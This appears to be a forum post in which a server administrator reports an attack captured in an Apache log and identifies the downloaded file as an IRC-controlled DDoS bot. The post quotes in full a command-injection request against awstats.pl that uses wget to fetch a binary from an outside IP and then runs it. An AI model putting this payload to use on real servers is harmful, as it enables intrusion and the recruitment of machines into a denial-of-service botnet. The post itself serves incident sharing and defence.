I hope the original poster did that - here's the "barbut" occurrence in our apache log:
GET /awstats.pl?configdir=|echo;cd%20/tmp;wget%20217.79.176.126/barbut;chmod%20755%20barbut;./barbut; echo| HTTP/1.1
(there are four attempts, trying different paths to awstats.pl)
I did the wget, and it's a 30KB ELF executable. 'nm' shows such things as 'flooders', 'getspoofs', 'changeservers' ... I don't think I'll run it ;-)
Googling for some of those names finds this is probably the source code:
The comments start:
"This is a IRC based distributed denial of service client. It connects to the server specified below and accepts commands via the channel specified."
Hope this was useful, A.